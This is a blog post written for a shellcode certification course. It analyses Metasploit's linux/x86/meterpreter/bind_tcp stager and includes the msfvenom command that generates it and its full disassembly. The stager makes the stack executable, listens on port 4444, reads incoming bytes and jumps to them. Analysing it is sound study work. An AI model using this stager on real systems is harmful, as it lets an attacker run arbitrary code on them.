SLAE 0x5: Part III — Analyzing MSFvenom ‘linux/x86/meterpreter/bind_tcp’ shellcode

Aditya Chaudhary
4 min readFeb 8, 2019

--

In this post we will analyse linux/x86/meterpreter/bind_tcp shellcode. If you haven’t read the part I, you can start from there:

Shellcode is basically a list of carefully crafted instructions that can be executed once the code is injected into a running application. Stack and heap-based buffer overflows are the most popular way of doing so.

I would recommend that you should do through the basics of shellcoding and MSFvenom before diving head first in this post. For the basics of shellcoding, I would recommend you go through the below mentioned blogs to catch up quickly.

TL;DR

Since we live in the era of widespread attention and time deficiency, here’s the summarised version of this entire story:

  • Generating the shellcode using MSFvenom
  • Disassemble Shellcode — Ndisasm
  • Analyze the disassembled instruction set

Generating Shellcode

Let’s generate the shellcode using msfvenom.

msfvenom -p linux/x86/meterpreter/bind_tcp LPORT=4444 -a x86 — platform Linux -f raw -o linux_x86_meterpreter_bind_tcp

Dump Shellcode — Ndisasm

Let’s use ndisasm to generate assembly shellcode from the above generated binary file.

ndisasm -u linux_x86_meterpreter_bind_tcp

00000000  6A7D              push byte +0x7d
00000002 58 pop eax
00000003 99 cdq
00000004 B207 mov dl,0x7
00000006 B900100000 mov ecx,0x1000
0000000B 89E3 mov ebx,esp
0000000D 6681E300F0 and bx,0xf000
00000012 CD80 int 0x80
00000014 31DB xor ebx,ebx
00000016 F7E3 mul ebx
00000018 53 push ebx
00000019 43 inc ebx
0000001A 53 push ebx
0000001B 6A02 push byte +0x2
0000001D 89E1 mov ecx,esp
0000001F B066 mov al,0x66
00000021 CD80 int 0x80
00000023 51 push ecx
00000024 6A04 push byte +0x4
00000026 54 push esp
00000027 6A02 push byte +0x2
00000029 6A01 push byte +0x1
0000002B 50 push eax
0000002C 97 xchg eax,edi
0000002D 89E1 mov ecx,esp
0000002F 6A0E push byte +0xe
00000031 5B pop ebx
00000032 6A66 push byte +0x66
00000034 58 pop eax
00000035 CD80 int 0x80
00000037 97 xchg eax,edi
00000038 83C414 add esp,byte +0x14
0000003B 59 pop ecx
0000003C 5B pop ebx
0000003D 5E pop esi
0000003E 52 push edx
0000003F 680200115C push dword 0x5c110002
00000044 6A10 push byte +0x10
00000046 51 push ecx
00000047 50 push eax
00000048 89E1 mov ecx,esp
0000004A 6A66 push byte +0x66
0000004C 58 pop eax
0000004D CD80 int 0x80
0000004F D1E3 shl ebx,1
00000051 B066 mov al,0x66
00000053 CD80 int 0x80
00000055 50 push eax
00000056 43 inc ebx
00000057 B066 mov al,0x66
00000059 895104 mov [ecx+0x4],edx
0000005C CD80 int 0x80
0000005E 93 xchg eax,ebx
0000005F B60C mov dh,0xc
00000061 B003 mov al,0x3
00000063 CD80 int 0x80
00000065 87DF xchg ebx,edi
00000067 5B pop ebx
00000068 B006 mov al,0x6
0000006A CD80 int 0x80
0000006C FFE1 jmp ecx

Observe the highlighted instruction sets. There are 8 interrupts for systemcalls as follows:

1. Mprotect (eax = 0x7d, ebx = esp, ecx = 0x1000, edx = 0x7)
2. Socket Create
3. Socket Setsockopt
4. Socket Bind
5. Socket Listen
6. Socket Accept
7. Read (eax = 0x3, ebx = socket_descriptor, ecx = esp, dh = 0xc)
8. Close

The Mprotect system call which changes protection for the calling process’s memory page(s) containing any part of the address range provided in the arguments.

int mprotect(const void *addr, size_t len, int prot)prot is either PROT_NONE or a bitwise-or of the other values in the following list:PROT_NONE  The memory cannot be accessed at all.PROT_READ  The memory can be read.PROT_WRITE The memory can be modified.PROT_EXEC  The memory can be executed.

The shellcode then listens for a socket connection, once the connection is established, it starts reading from that socket. To read more about bind sockets you can go through this SLAE 0x1: Linux/x86 Bind Shellcode

The ebx is set to the address of esp and the ecx is set to 0x1000 (4096 bytes). The edx (argument value for prot) is set to 0x7, which provides read, write and execute permissions to the memory segment provided in the arguments.

In the end the shellcode calls the read system call with arguments:

ebx <= socket_descriptor
ecx <= esp (top of the stack)
edx <= 0xc00 (3072 bytes)

This read the data from socket and writes it on the stack.

So, to summarize this— shellcode sets appropriate permissions(0x7) on the stack for 4096 bytes. Then the shellcode listens for a socket connection and once the connection is established it writes data to the stack and jumps there using the last instruction jmp esp

Here, I have deliberately skipped the explanation of couple of steps for simplicity. You can read about the socket creation, connection and the close syscall using the links that I have provided throughout the blog. And if you still have any doubts, queries or improvement suggestions then feel free to reach out to me.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: PA-8416

--

--